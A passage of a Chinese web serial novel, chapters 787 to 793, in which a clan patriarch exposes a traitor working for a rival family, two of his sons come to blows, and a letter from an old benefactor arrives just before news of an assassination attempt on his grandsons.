沈渊那副猥琐怯懦的模样,倏地将他的思绪拽回了一个月前的襄英老宅—— 那天他本是追着姜花衫出去,却跟丢了人,误打误撞撞见沈航在内院挨打。后来沈渊恰好经过,三言两语就将他支开。他心中生疑,折返想探个究竟,却被沈渊巧妙遮掩过去。 沈清予的目光不动声色地在沈渊和沈航之间来回扫视,难道……那晚沈航潜入内院要见的人,真的是沈渊? 他敛起眸光,转向主位上的沈庄,老爷子眼神锐利如鹰,除了显而易见的震怒之外,再看不出半分情绪。 沈渊一步步走向面如死灰的沈航,心情却像坐上了失控的云霄飞车,魂都没有了。 因那晚,沈航的确是去内院与沈渊秘密接头的。 早在武太奶称病前的三个月,沈航就通过特殊渠道找上了沈渊。准确地说,不是沈航本人,而是他背后所代表的势力,李家。 起初沈渊并不理会,但纵横商场多年,他太清楚沈航为拉拢他必定会抛出诱饵。商人重利,所以他虽未回应,却也没有拒绝。 果然如他所料,为拉他下水,沈航接连送上几个境外大单,利润丰厚到堪称暴利。 但他沈渊是什么人?沈家商业帝国的掌舵人,怎么可能会因为这点“蝇头小利”就乱了大局?本着送上门,不吃白不吃的原则,他对沈航一直保持着不主动、不回应、不拒绝的“渣男”策略。 直到……沈航抛出了一个他无法拒绝的筹码—— 沈家家主之位。 这个诱惑,完全超出了金钱所能衡量的范畴,对沈渊而言,即便手握亿万财富,又怎比得上生杀予夺的至高权势? 于是他动摇了,在襄英老宅的那晚,他应约前去与沈航暗中会面。 虽中途横生枝节,闹出了沈航被打的插曲,但两人最终还是达成了秘密联盟。 沈航向他保证:为表诚意,李家会在三个月内让沈谦彻底失势且永无翻身之日。 初次听到这份“诚意”时,沈渊心中曾涌起一阵难以抑制的兴奋。 回来之后,为了掩人耳目,他又单方面断了和沈航的联系吗,因为他早在心里盘算好了:不管一个月后沈谦是否出事,他都会想办法杀了沈航,然后再嫁祸给沈娇。 理由很简单,如果沈谦无事,说明李家不可信,能力不行还喜欢夸下海口,和这种人合作迟早翻车。 但如果沈谦真被拽下马,老爷子势必重新布局,就算不合作,他也已经得到了最大的利益,沈航就更没有留的必要了。 螳螂捕蝉黄雀在后,原本沈渊自诩自己就是那只黄雀,没想到黄雀之后还有猎人。 在场众人,除了那些跟风的族人,没有一个是真正的蠢人。老爷子这个时候点名,无异于扒了他的衣裳架在断头台示众,摆明了告诉所有人,他有问题。 沈家老爷子“不要命、只要腿”的‘恶疾’早已传遍A国的大江南北,沈航眼看着沈渊步步逼近,心知在劫难逃,索性把心一横,扑向沈庄。 “老爷子我说!我说!是沈渊!是他指使我利用父亲的名义,策动族人来鲸港围攻姜花衫的!他还说姜花衫只是个孤女,无依无靠,您势必不会为了她得罪全族人的!” “你这个狗憋东西!”沈渊正犹豫要不要坦白,不想被沈航捷足先登,气得直接冲上前,连踹了沈航几脚。 沈渊踹完犹不解恨,扶正眼眶,指着脚下抱头惨叫的沈航,怒道:“爸,你千万别听信他的一面之词!是沈航,他一直暗暗与我示好,我看在堂伯父的份上并未搭理。” 沈航不服,反咬:“沈渊!李家给你的那几份军火订单,你吃到狗肚子里去了?” 此时,沈家众人哪还有不明白的,神色淡淡,端看沈渊要怎么狡辩? 沈渊面不改色,“爸,我的确拿了李家几个亿的订单,但我什么都没有答应,也没有做任何对不起沈家的事。” 这话的确不假。沈渊打从和沈航交集就一直防着他,双方交易他都是只进不出。也正是笃定沈航没有自己的把柄,他才敢说得这么理直气壮。 沈航满脸愤怒,对着沈渊啐了一口唾沫,大骂道,“好你个沈渊,既然你这么不讲情面,也就别怪我翻脸不认人了。” 说罢,转头看向沈庄,“老爷子,您说的没错,我的确是受人唆使,唆使我的人远在天边近在眼前,就是他!” 沈航指着沈渊,目光泣血,似有天大的怨恨,“沈渊一直向李家索要诚意,还说只要完成一个条件,他就答应做李家的内应。” “爸!”沈渊心知这是沈航临死反咬,不由急红了眼,“沈航是李家的人,他的话不可信。” 沈庄处变不惊,“什么条件?” 沈航阴恻恻,“他要……阿年少爷和阿灵少爷的命。” …… 第788章 反目成仇 沈航的话犹如一颗碎石落进了风雨欲来的池面,激起的涟漪一圈圈扩散开来,波及厅内每一个角落,无人能够置身事外。 在场众人在听完沈航这番自述后,几乎都露出了难以置信的神情,空气凝固得令人窒息。尤其是沈谦。 他的脸色瞬间阴沉得能滴出水来,目光如灼热的烙铁,死死钉在沈渊身上。 他知道沈渊有野心,有算计,但他一直以为这个二弟觊觎的不过是些商业上的蝇头小利,或是更多的权柄。没想到,沈渊的手竟然敢伸得这么长,直接敢把枪头对着他! 而沈渊突然还被扣上这么大的屎盆子,气得几乎呕血。 他猛地冲上前,一把死死掐住沈航的脖子,目眦欲裂,“我什么时候说过要阿年和阿灵的命了?!沈航!你敢血口喷人!!” 沈航被掐得脸色由青转紫,眼球外凸,却仍艰难地扭过脖子,望向主位上的沈庄,从喉咙里挤出破碎的声音:“老……老爷子……他……他想杀人灭口……” 还敢胡说八道?! 沈渊额角青筋暴跳,眼底布满骇人的红血丝,杀心骤起,手下力道猛地加重! 就在沈航即将窒息的千钧一发之际,一只力道惊人的手突然从旁伸出,精准地扣住了沈渊的手腕,猛地发力,竟将状若疯魔的沈渊硬生生甩了出去! 沈渊猝不及防,被甩得踉跄后退了好几步才勉强稳住重心,手腕处传来一阵剧痛。他惊怒交加地抬头望去,疯魔的神色忽然僵滞。 因为阻止他的不是别人,正是沈谦。 沈谦挡在奄奄一息的沈航身前,高大的身影投下一片压抑的阴影。他没有看沈航一眼,目光至始至终都落在沈渊的脸上,眼神不再如平日的温润持重,而是带着前所未有的审视与怀疑。 “沈渊。” “他说的,是不是真的?” “你……想要我两个儿子的命?” 沈谦的声音不高,却字字沉重,砸在死寂的大厅里。 沈渊被沈谦那沉痛而锐利的目光钉在原地,脸上疯魔的神色僵滞了一瞬,随即被巨大的冤屈和急怒取代。 他猛地抬手,指向地上蜷缩着剧烈咳嗽的沈航,声音因为激动而拔高,甚至带上了一丝破音:“你信他?!你宁愿信一个李家派来的搅屎棍,也不信我?!” 沈渊急促地喘了口气,试图让自己的语气显得更恳切,更可信:“是!我是拿过李家的好处,商场上谁不是虚与委蛇?逢场作戏罢了!我沈渊对天发誓,绝对没有指使他们对阿灵和阿年不利!!” 他忽然想到什么,上前一步,目光灼灼地看着沈谦:“大哥!这是离间计!沈航就是看事情败露,自己死到临头才想拉我垫背的!他就是想搅乱我们沈家,让我们兄弟阋墙,内斗不休!他们李家好坐收渔翁之利!你仔细想想,千万不要上当啊!” 沈谦静静地听着,脸上没有任何表情,只有那双眼睛,依旧沉得像不见底的寒潭。 等沈渊说完,他才缓缓开口,声音依旧低沉,却带着一种不容回避的压迫感:“离间计?好,沈渊,我问你,既然你没有不诡之心,你明知沈航会对我下手,你为什么没有告诉我?” 沈谦的问题像一把冰冷的匕首,精准地刺入了沈渊所有辩解中最脆弱的一环。 “我……”沈渊张了张嘴,刚才那急迫而激烈的气势仿佛被戳破的气球,瞬间泄了下去。 他眼神闪烁,下意识地避开了沈谦那洞穿一切的目光,可逃离的目光又立马被沈清予抓住,沈清予的眼里带着洞察一切的嘲讽。 沈渊脑子嗡地一下失去了所有思考的能力。 真是聪明反被聪明误。 沈航根本不需要任何把柄,因为单凭他知情不报就已经是最大的把柄了。 难不成他要跟他们解释,虽然他的确是想要沈家家主之位,但还没来得及跟李家合作?! 沈渊心如死灰,对着主位的沈庄深深叩首,双手撑地,声音带着绝望的哀鸣:“父亲,我真的是被冤枉的……” 主位上,沈庄半阖着眼帘,枯瘦的手指有一搭没一搭地轻敲着紫檀木扶手,面容沉静如水,仿佛眼前这场兄弟阋墙的激烈冲突只是一出与己无关的默剧。 他的沉默,比任何疾言厉色都更令人窒息。 沈谦一步跨前,身形快如闪电,一把狠狠攥住了沈渊的衣襟,巨大的力道几乎将跪着的人提离地面。 “冤枉?!我问你,姚公馆的火也是你的手笔?你早就知道他们的计划?而你却眼睁睁看着我死?!” 沈渊被吼得耳膜嗡嗡作响,衣襟被死死攥住,勒得他呼吸困难,脸色涨红。生死攸关,沈渊最后一丝理智燃烧殆尽,他猛地抬手,用尽全身力气狠狠搡在沈谦的胸膛上。 沈谦全部心神都在质问上,猝不及防之下,竟被这股疯狂的力道推得踉跄倒退,脚下绊住不知何物,整个人彻底失去平衡,猛地向后仰倒! “砰——!” 一声沉闷又令人牙酸的巨响炸开! 沈谦的后腰重重撞上坚硬沉重的红木桌角,随即势头不止,后脑勺狠狠磕在了桌沿上!只听见他闷哼一声,身体软软滑落在地,瞬间,殷红的鲜血便从他浓密的发间涌出,迅速在光洁的地板上洇开一小片触目惊心的猩红! 整个大厅的时间仿佛在这一刻凝固了。 所有声音戛然而止,连呼吸声都清晰可闻。 下一瞬,死寂被彻底打破! 沈谦暴喝一声,直接跳起与沈渊扭打了起来。 这些年他不知道帮沈渊处理了多少上不了台面的事,但沈渊竟然敢在背后算计他,甚至还要让他断子绝孙,一想到他现在被全国民众嘲戏是‘后院失火’的议员长都是拜沈渊所赐,沈谦就恨不能杀了沈渊。 沈渊原本还只是闪躲,但沈谦拳拳到肉根本没有给他留活路,沈渊也不装了,用了十分力又踢又踹。 眼看着两人滚动之处鲜血四溅,沈让赶紧上前劝架,但这两人根本不理他,打急眼甚至连他也一起揍。 沈让挨了两拳叫苦不迭,只得向身旁两人求助,“兰晞!清予!你们俩别光看着!快来帮忙拉开他们啊!” 闻言,沈兰晞只是微微侧过头,那双清冷的黑眸里带着一丝毫不遮掩的疏离和厌恶。 沈让无奈,只能转看向沈清予,好歹这里面还有一个他的亲爹,他总不能置之不理吧? 不想,沈清予眼看着沈渊挨了沈谦一记重拳,嘴角竟还勾起一抹饶有兴味的弧度,“大伯,他嘴还挺硬,打他嘴。” 沈让,“……” …… 第789章 叛族的惩罚 花厅里。 沈谦状若疯猫,沈渊仿若癫犬,两人撕打缠斗,招式狠厉,哪还有半分平日里的雍容体面? 周围的族人们早已乱作一团,几位年长的叔公颤巍巍地围着打斗的两人,焦急地喊着“别打了!”“快住手!成何体统!”,嗓子都喊哑了,却无人一个人敢上前硬拦。 沈航瘫软在地,剧烈地咳嗽着,脖颈上深红的指痕触目惊心。然而,此刻他的心底已经不可抑制地涌起一股扭曲的快意和暗暗的得意。 他隔着散乱的刘海狠狠瞪向主位的沈庄。 就算你沈庄本事通天又能怎样? 沈家早已经是一盘散沙,只要稍稍起一阵风,他们自己就能斗得你死我活。 凭什么所有的好事都是鲸港沈家占着?李家已经允诺他,只要他能让沈家内乱,他的孩子就能离开襄英去S国过人上人的生活,再也不用守着一座衰老的古宅耗费青春。反正他这辈子已经到头了,不如用这条命替孩子们拼个锦绣前程。 打吧!杀啊! 越乱越好,越乱越好。 混乱与恐慌如同瘟疫般在大厅里蔓延。 终于,一位头发花白的老族叔被推搡得差点摔倒,他再也忍不住,踉跄着扑到主位前,对着沉默如磐石的沈庄,带着哭腔高声道:“家主!家主!您快说句话吧!不能再打了!再打下去要出人命了啊!” 一直半阖着眼帘的沈庄倏然抬眼,那双古井无波的眼里迸射出冰冷骇人的厉芒,如雷霆将至。 他先是看了沈航一眼,然后直接越过了沈谦和沈渊,落在了沈清予和沈兰晞两人身上。 “愤怒会让人失去判断,贪婪会让人失去诚信,而真正的阴谋者往往都是置身事外。” 沈庄的话犹如一记响亮的巴掌,狠狠打在了沈谦和沈渊的脸上,两人都仿佛被人掐住了咽喉,被按下了暂停键。 沈兰晞抬眸,沈清予收敛了神情,两人同时看向沈庄。 沈庄,“爷爷之前教过你们,沈家的枪口永远不能对着自己人,你们还记得吗?” 沈兰晞和沈清予点头。 沈庄略带欣慰,“你们都是好孩子,未免你们以后犯下和爷爷一样的错误,爷爷想再补充一点:所谓的自己人是向着自己的人和自己最亲近的人,所以你们一定要分辨清楚。” 说着他转眼看向匍匐在地的沈航,“阿航,李家费尽心思才搭上老二这根线,你怎么两句话就暴露了?” 沈谦绝不会在这个节骨眼质疑沈庄的智慧,眸光微闪,眯眼打量起沈航。 而沈渊却像是抓住了救命稻草,死死看着沈庄。果然,老爷子什么都看在眼里。 沈航万万没想到沈庄竟然如此敏锐,不由地心惊了一下,瑟缩着肩膀,“老爷子,我知道错了,我……” 沈庄打断他,“你所谓的知错了,就是连夜将你的孩子送上了去往S国的飞机?” 这话犹如无边的潮水瞬间淹没了沈航。 老爷子怎么知道,难道他的孩子现在在老爷子手里? 他再也顾不得什么任务、什么李家,此刻他只是一个被攥住了致命弱点的父亲。 沈航猛地以头抢地,额头重重磕在冰冷坚硬的地板上,声音因极致的恐惧而尖锐变调: “老爷子!老爷子我错了!我真的知道错了!千错万错都是我的错!是我鬼迷心窍,是我对不起沈家,对不起您的信任!您要杀要剐我绝无怨言!只求您……只求您高抬贵手,孩子……孩子他们是无辜的啊!他们什么都不知道!求求您,求求您放过他们吧!” “愚昧。”沈庄摇了摇头,眼里满是怜悯,“你放心,你的孩子已经安全落地S国,现在应该已经被李家的人接管了。” 沈航的哭声戛然而止,鼻涕纵横地呆看着沈庄。 沈庄,“作为对你叛族的惩罚,你的族人将被永远驱逐出境,再也不能回到A国。” 沈航眼皮不受控制地抽搐,理智告诉他,回不来就回不来吧,反正去了S国,他们就能像那些族人一样过上人上人的生活,到时候名利双收不比在A国好? 但不知道为什么,沈庄眼里的怜悯让他感觉格外不安。 对了! 老爷子刚刚说的是‘叛族的惩罚’,是惩罚?! 沈航还没理清思路,就听见了他这辈子最大的噩耗传来。 “你知道你的孩子去了李家将面对什么吗?他们每天都要接受各种非人的训练,有天赋的留下晋级,没有天赋的将被卖给S国的王族为奴。” “为奴?不可能?!”沈航死死看着沈庄,这是他第一次这么大胆审视这位老家主的眼神,但除了怜悯,他什么都看不到。 “或许成为王族的奴隶还是幸运的,因为有天赋的孩子会被李家培养成死士、恐怖组织头目或者是恶贯满盈的罪犯,什么都有可能,但绝不可能是站在高处受人仰望的名流。” “不……不可能……你骗我!李家答应过我……还有叔伯他们,他们也答应过我,会好好照顾我的孩子……” 沈航声嘶力竭地想要反驳,可声音却虚弱得如同呻吟。 “你有没有想过,他们为什么那么急于让你把人送过去?因为只有你的孩子过去了,才能替代他们的孩子去死……” 说着,沈庄缓缓垂眸,收起了眼里的怜悯,转脸看向厅内众人,“你们都看见了?这就是叛族的下场。” …… 第790章 心如死灰的沈庄 沈庄的话音落下,如同在滚沸的油锅中投入了一块冰,瞬间激起了千层反应。 厅内死寂了一瞬,随即爆发出更大的哗然! 沈兰晞和沈清予相对淡定,并未有过多的反应,反观一旁的沈谦、沈渊被生生惊出了一身冷汗。 他们并非惊讶李家挑唆沈家族人背后的真相,而是心惊老爷子坐在沈园花厅,竟然对远在千里之外的事情了如指掌,这份谋略让两人从心里生出了一丝忌惮。 尤其是沈渊。 沈庄明知他是冤枉的,却依旧默许了他和沈谦大打出手,这分明是在敲打他。 而那些之前对沈庄暗生不满的族人们,在听清了这骇人听闻的真相后,脸色骤变,连同看向沈航的目光也从之前的同情变成了彻底的愤怒与鄙夷。 “沈航!你……你简直狼心狗肺!老爷子对你这般信任,你竟然联合外人陷害沈家,你不配做我们沈家子孙!” “怪不得你之前那般积极地鼓动我们前来!说什么为了沈家声誉,为了家族未来,原来全是包藏祸心!是想拉着我们所有人给你那狼子野心垫背!” “老爷子明鉴啊!我们……我们真是被他蒙骗了!完全不知他背地里竟和李家做了这等交易,若早知他是这等卖族求荣、猪狗不如的东西,我们怎会听信他半句谗言!” 墙倒众人推,此刻所有人都急于表明自己的“清白”与“无辜”,将所有的过都推给了瘫倒在地的沈航,仿佛这样就能洗脱自己的嫌疑。 沈航蜷缩在地上,耳边充斥着族人愤怒的指责和唾骂,他却好似听不见一般,眼神涣散地看向沈庄: “我错了!我真的错了!我不是人!我是畜生!我是鬼迷心窍的蠢货!” “老爷子您神通广大,您一定有办法的……求您把他们带回来!求求您!” 沈航的此时懊悔让沈家族人心惊胆颤,仔细回想,他们何尝没有过沈航这样的盘算? 因为与沈家同宗,每到年关节假都会有不知姓名的人打着拜访沈家名义上门讨好,这些人不安好心他们心知肚明,他们顺嘴说漏两句话就能得到说不尽的好处,这种好事没有人不心动。 老爷子连沈航都能查得出来,更别说他们那点小心思了。 沈庄身处高位,将所有人的反应尽收眼里,淡淡道:“圣贤说,修身齐家治国平天下,我如今已经古稀之年,自诩参悟半生勉强能做安邦定国的栋梁,不想回望一生,连自己的德行都没有修好。” 他这话里带着几十年枯荣的萧瑟,明明是自省却让眼前一众人羞愧难当。 “老爷子……” 沈庄抬手,目光落在沈兰晞脸上,“我曾将一生心血托付给阿玺,却害得他尸骨无存,连累他的孩子在最脆弱的时候失去了父母的托举。” 沈兰晞眸光微动,正要开口,沈庄已经转移目光看向沈谦,“你是我的第一个儿子,我对你最是严厉,原本是想把你教导成为刚正不阿的栋梁脊柱,偏偏事与愿违。” 沈谦,“……” “还有你。”沈庄又看向一旁的沈渊,“你自小心性不定,眼高手低,我想着给你找个知心人成了家你或许会有担当,可万万没想到,最后却害了别人家的女儿。” 沈清予脸色沉重,目光灼灼看着沈庄,这是他第一次这么近距离地感受到了沈庄的内心。 沈庄几乎苦笑地摇了摇头,“还有老四……阿泽、阿杰……细细数来,无一人如我所愿。” “还有你们!”沈庄抬眸,他看着眼前曾称兄道弟的族人,“我牺牲小家,用全副心血撑起的百年门楣,大难临头,你们想的却是如何牺牲我的孙女!” “族长!”三叔公听出了沈庄的决绝之意,蹒跚上前扑倒在地,“这事是我们昏聩了,您千万别一时冲动啊。” “是啊,族长!我们认错认罚,您可不能不管我们啊!” “我管不了。”沈庄语调萧瑟,“我已经护了你们五十年,仁至义尽,往后的路怎么走,就看你们自己的造化了。兰晞,送客。” 这一刻,他是真的醒悟了。 他舍了红楼少年,做了名利场的沈庄,若到头来还是要牺牲山茶花树下那人的血脉,又何必做沈庄呢? * 另一边。 姜花衫一行人被支开后,并未真正远离。沈娇看出她们一个个都很在意老爷子最后会如何抉择,便做主将三人带到了与花厅仅一廊之隔的茶室暂歇。 窗外,暴雨倾盆而下,密集的雨点疯狂砸在屋檐窗棂上,发出震耳欲聋的喧嚣,整个世界都笼罩在一片白茫茫的水汽之中。 “轰隆——!” 惊雷炸响,与此同时,隔壁花厅突然爆发出了一片混乱而凄厉的哀嚎哭喊声,那声音穿透雨幕清晰得骇人! 正捧着茶杯的傅绥尔被这突如其来的动静吓得手一抖,温热的茶水险些溅出。 沈娇蓦然转头,目光锐利地投向花厅方向。窗外又是一道闪电掠过,映亮了她眼中交织的复杂情绪。 沈眠枝垂眸,低头看着面前青瓷杯盏中因雷声震动而不断漾起涟漪的茶水,轻声叹息:“看来,爷爷最终……还是没有改变主意。” 她话音刚落,只听得“哐当”一声,花厅那扇沉重的雕花木门被人从里面猛地拉开! 数名身着统一黑色西装、面色冷硬的保镖鱼贯而出。 他们神情冷漠,近乎粗暴地推搡驱赶着那些年迈的族叔伯。之所以说是驱赶,是因为场面混乱不堪里,有人死命抱着廊下的朱红柱子,哭喊着不肯松手;有人瘫坐在地,任凭冰冷的雨水浸透衣袍也不愿起身。 “老爷子!!” 最惨的还是沈航,他跪倒在暴雨里,不停地朝着花厅方向磕头,脸上的血水混合着雨水糊了满脸,声音嘶哑绝望,“求求您!救救我的孩子们吧!我愿意用我的命交换!” …… 第791章 顺颂时祺,秋绥冬禧 眼前这彻底失控的一幕,远远超出了所有人的预料。 即便是素来冷静的沈娇,也难以置信站了起来。她深知沈庄对族人的付出与容忍,如今这般决绝冷酷,定然是被伤透了心。 姜花衫怔立在廊下,望着眼前景象,心头如同被巨石堵住,酸涩难言。 冰冷的雨水无情地冲刷着庭院,那些平日里颇有威仪的族叔伯们,此刻竟毫无形象地跪倒、瘫软在泥水里挣扎哀求。精心打理的头发紧贴头皮,脸上分不清是雨水、泪水还是鼻涕,显得无比狼狈又可怜。 她的思绪猛地被拽回到上一世: 爷爷至死都未曾卸下肩头沉甸甸的责任,如同燃尽的烛火,坚守到最后一丝光亮。他死后,那些曾不断索取的族老们一夜之间幡然醒悟,千里迢迢赶来送行,灵堂前哭晕过去了好几个,一声声“族长”喊得撕心裂肺。 有些人就是这样,习以为常的好总是视而不见,等到失去之后才知道曾经拥有的有多珍贵。 而这一世,爷爷正用一种近乎残忍的方式,逼迫他们也包括自己,提前看清这一点。 只是,现在的爷爷应该也很痛苦吧? 这是他守了五十年的家人,如今就这么放手,在爷爷的心里,只怕会是一道永远都愈合不了的伤疤。 雨下得更大了,仿佛天公也在为这场决绝的离别恸哭。 就在这时,外院的一个管事冒着大雨跑进了花厅。 “老爷子,襄英那边刚刚送到的信。” 沈庄已然耗费了所有心力,此刻正封锁着情绪闭目养神,听见襄英传信,紧闭的眼睑微微颤抖,但最终还是没能抵过仅剩的那一丝柔软,缓缓抬眸。 信封因这一场大雨不可避免沾上了雨渍,黑色遒劲的字迹已经晕开。 他认识这个字迹,当初他在淮城赏月,忽然收到一封救命信,当时信上也如眼前这封写着:初棠亲启。 沈庄嘴角微微颤抖,这大概是他这辈子最不想面对的一封信。 沈钧于他有救命之恩,当初若没有沈钧和武太奶,就没有他的今天,处置沈航的时候,他并非没有想过往后他与沈钧之间该如何自处,但他实在不想再委屈小花儿了。 从她回来,就一直为沈家忙忙碌碌,从家事到国事,哪一件事不是险象环生? 所以,他不能再因为一念之仁留着这些毒瘤了,否则隐患会越来越大,会将真正的家人置之死地。 沈庄轻叹了一声,摆摆手,“不看了。” 管事愣了愣,随即应声退出了花厅。 姜花衫站在廊下,眼看管事握着那封湿漉漉的信退出了花厅,她眸光一凝,几乎没有丝毫犹豫,埋头冲进了滂沱的雨幕之中。 冰冷的雨水瞬间打湿了她的肩头,她却浑然未觉,径直拦在了管事面前。 “等等。”她的声音清亮,穿透雨声,带着一种不容置疑的坚决。 管事诧异地抬头,“小姐?” 姜花衫伸出手,目光落在那封依旧被管事紧攥着的信上,语气平静却带着一股无形的压力:“这封信,给我吧。” 管事显然有些犹豫,下意识地朝花厅方向看了一眼:“可是…老爷子他……” “爷爷那里,我自会去说。”姜花衫打断他,手臂依旧平稳地伸着,没有丝毫退让的意思,“给我。” 她的目光太过坚定,仿佛早已洞悉这封信的重量。 管事不知怎的,竟生不出半分抗拒之心,迟疑片刻,终是将那封被打湿的信递到了姜花衫的手里。 厅外的哀嚎已经弱了下来,这些人年事已高,折腾一会儿便没了力气。 沈航趴在地上,瞳孔灰白,神色麻木地看着上方的沈渊。 不知怎的,眼前这一幕又让姜花衫想起了余笙。他们虽然在她的“剧目”里是无关紧要的人,但……也是活生生的人,她不应该无视的。 她隐约记得,武太奶走了没多久,沈钧也死了。 收到噩耗,老爷子当场急晕了过去,醒来后病了整整三个月,连做梦都在说胡话。 从前,她一直都是以自己的视角在揣测别人的角色,所以理所当然地觉得那个古板、事事喜欢找麻烦的老头儿也是坏人。可沈钧若真有问题,爷爷又怎么会心伤至此? 这里面一定有隐情。 姜花衫想也没想,拆开了信封,匆匆扫了一眼后脸色大变,将信护在胸口,转身冲向花厅。 “爷爷!” 一声几乎破音的嘶喊立刻引起了花厅众人的侧目。 姜花衫浑身湿透,发丝凌乱地贴在脸颊旁,雨水顺着衣角滴落在地毯上,洇开深色的水痕,可她浑然不顾,那双明亮的眼睛里满是急切与凝重。 她径直冲到沈庄面前,将那封被她体温捂得微热的信,双手递上。 “爷爷,堂伯公的信,您看一眼吧。” 沈兰晞神色微动,犹豫片刻,撑着地面慢慢站了起来。 沈谦、沈渊、沈让脸色错愕,还得是姜花衫啊,老爷子就是因为知道是沈钧的信才不看的,她倒好,拆了信直接送到眼前,这简直是在往老爷子的心口捅刀啊。 沈庄缓缓睁眼,映入眼帘的是姜花衫狼狈却执拗的模样,这一刻他好似又看见了故人。 “爷爷,看完了再做决定吧。” 沈庄原本想拒绝,但沉默片刻还是接过了信件。 -“初棠,我已经查明阿航就是他们安插在家族的内奸,我对不起你,对不起伯父对我的知遇之恩。你放心,阿兄说过会替你守住老宅,我已经让阿航把那些孩子们都送走了,如此也算彻底解决了隐患。” 才扫过第一行,沈庄眼角便已湿润。 原来不是求情,是情。 到这个时候,沈钧还在为他谋划。所有人都在依仗他,唯独沈钧在护着他。 “族里那些老家伙,你吓唬吓唬就算了,不要与他们见怪,他们啊愚昧了一辈子,醒不过来了。我已经暗暗联系了族学里其他的孩子们,他们都是好的,知道感恩的,你可千万不要因为几个老家伙就迁怒了孩子们。” “你看,这是他们给你写的字。” 信封的最后一页,写着各式各样的稚嫩笔迹: -【族长爷爷,顺颂时祺,秋绥冬禧。】 …… 第792章 把人带回来 越是心性坚韧的人,越容易被这不设防的柔软打动。 沈庄安静凝视着信纸上被雨水晕开的字迹,仿佛要通过那些模糊的墨迹,看进一个人的内心。 看着这样的沈庄,姜花衫不禁庆幸自己没有先入为主地将沈钧定位成坏人,否则,爷爷这辈子,可能就又要错过这封信了。 从眼前的种种迹象推断,上一世爷爷很可能也发现了沈航是叛徒。也正是因此,爷爷和沈钧之间产生了难以弥补的误会。 而这封信,恰恰说明了沈钧非常在意爷爷的。 或许爷爷当时生了不好的念头误会了沈钧,而沈钧以死明志,也给爷爷留下了毕生的遗憾。 这正好也解释了为什么,上一世爷爷明知老宅的族人顽固不化,却仍然选择包容他们的原因。 因为他心中有愧。 姜花衫犹豫片刻,轻轻上前碰了碰沈庄的胳膊,“爷爷。” 沈庄恍然回神,目光瞬间聚焦在姜花衫脸上。 他张了张嘴,似乎想说什么,却又不知从何说起。 姜花衫展颜一笑,语气轻快:“爷爷,您园子里的小花都发芽了,该高兴才是呀。” “您以前总教我,花开得不好,不能怪花,要怪养花的人……可是爷爷,您忘了吗?如果那本来就是一棵树、一株草,就算您天天施肥浇水,它也不会开出花来的。花之所以能绽放,除了阳光、土壤和肥料之外,最重要的是——它的本质就是花啊。” “您不能因为一棵树不开花,就否定自己养花的能力。老话说得好,发现问题要多从别人身上找原因,千万别自己内耗。” 沈庄看着姜花衫一本正经胡说的模样,不禁莞尔:“哪个老话是这么说的?” 心魔往往只在一念之间。沈庄活了大半辈子这么浅显的道理怎么会不懂?但从姜花衫口中说出,冥冥之中好似命运给予他的馈赠。 就像手中这封信,差一点,他就永远错过了。 沈庄目光温和,轻轻地摸了摸姜花衫被雨淋湿的乱发,温声道:“爷爷没事了,回去洗个热水澡,别着凉了。”说着抬眼望向厅外的沈娇。 沈娇会意,快步上前揽住姜花衫:“走吧。” 姜花衫仍不放心地回头看向沈庄,老人朝她挥挥手:“回去吧。” 见状,姜花衫只好转身随沈娇向门厅走去。与沈兰晞擦肩而过时,两人的目光不经意相撞。 没等沈兰晞回过神,姜花衫假装不经意地踢了下他的小腿。 “还愣着干什么,一点眼力见都没有。” “……”沈娇的眼皮跳了跳。 她离得近,将姜花衫的小动作尽收眼底,为避免姜花衫把沈兰晞得罪得太狠,沈娇赶紧把人拉了出去。 沈兰晞侧身目送姜花衫离去,却见她被沈娇推着往前走时,还不忘回头对他挥了挥拳头。 “……” 沈兰晞沉默片刻,忽视发酸的小腿,主动走向沈庄。 “爷爷,”他语调平缓,“堂伯公的信,能给我看看吗?” 沈庄此时已经平复了情绪,点了点头,将手中的信递了过去。 沈兰晞双手接过,仔细地阅读着每一个字,目光在那被雨水晕开的字迹上流连良久,这才郑重地将信折好,奉还给老人。 “爷爷,老宅的事就交给我处理吧?” 沈庄摇了摇头,目光穿过镂空的花格窗,望向院外。 雨势渐歇,但院中的青石地上仍积着水洼,倒映着灰蒙的天空。 厅外的老叔伯们个个狼狈不堪,衣裳尽湿,花白的头发紧贴头皮,早没了平日的威严。 所有人都在等待着沈庄的发落,空气中弥漫着压抑的恐慌和绝望。 沈庄沉吟片刻,缓缓收回了目光,视线游刃有余地在眼前几人之间徘徊。 沈谦和沈渊因为刚才大打出手,自觉没有脸面对沈庄,个个低着头不敢对视。 沈让从没见过像今天这样混乱的场面,表情凝重。 沈清予的目光倒是坦荡,目光灼灼直视沈庄。 正当沈庄准备开口,沈让口袋里的手机忽然发出震动,这声音在针落可闻的环境下,显得异常刺耳。 沈让下意识地皱眉,原本准备直接挂断,却在瞥见屏幕上显示了一串加密号码。 他抬眼看了眼沈庄,对老人微微颔首,这才侧过身接起电话。 “郑管事?” 电话那头不知说了什么,沈让的神情骤然凝固,眉头越锁越紧,脸色以肉眼可见的速度褪去了血色。 “……你说什么?”他的声音陡然拔高,带着难以置信的颤抖,猛地看向沈庄,“爸,阿灵和阿年……出事了?!” 刹那间,花厅内所有目光都聚焦在沈让身上。 沈谦和沈渊猛地抬起头,眼里呈现出不同程度的惊愕;沈清予灼灼的目光瞬间凝固,透出惊疑;连一直沉默的沈兰晞也骤然蹙眉,转头看向沈让。 沈让已经无暇顾及众人的反应,听着电话那边的叙述,额角渗出细密的冷汗,喃喃重复着:“阿灵和阿年遇到了暗杀,阿灵身受重伤昏迷不醒,阿年……现在正在S国的皇家重症室抢救。” 话音落下,整个花厅再次陷入死一般的寂静。 “不可能……”沈谦像是突然抓住了什么不得了得到线索,目光猛地从沈让脸上移开,骤然钉在身旁的沈渊身上。 “是你?!沈渊是你干的!” “……”沈渊被这突如其来的指控砸得懵了一瞬,随即脸色变得比刚才更加难看,急怒交加地反驳:“你疯了吗?!这个时候还血口喷人!我怎么可能去做这种事!” 但沈谦根本听不进去,通红的眼睛死死剜着沈渊,仿佛要将他生吞活剥。 沈渊,“……” “都闭嘴!” 沈庄的身形几不可察地晃了一下,但眼神迅速沉淀下来,转眼看向沈兰晞和沈清予。 “兰晞、清予,你们两个立刻去准备,爷爷会给你们沈家一切可以动用的资源,务必以最快的速度赶到皇家医院,确保阿灵和阿年的安全。” “记住!”沈庄的声音愈发低沉,带着一种不容动摇的意志,“爷爷希望你们都平平安安地回来。” 沈兰晞、沈清予神色一凛,毫不犹豫地躬身应道:“是,爷爷。” …… 第793章 真正的证据 “爸!我也去。” 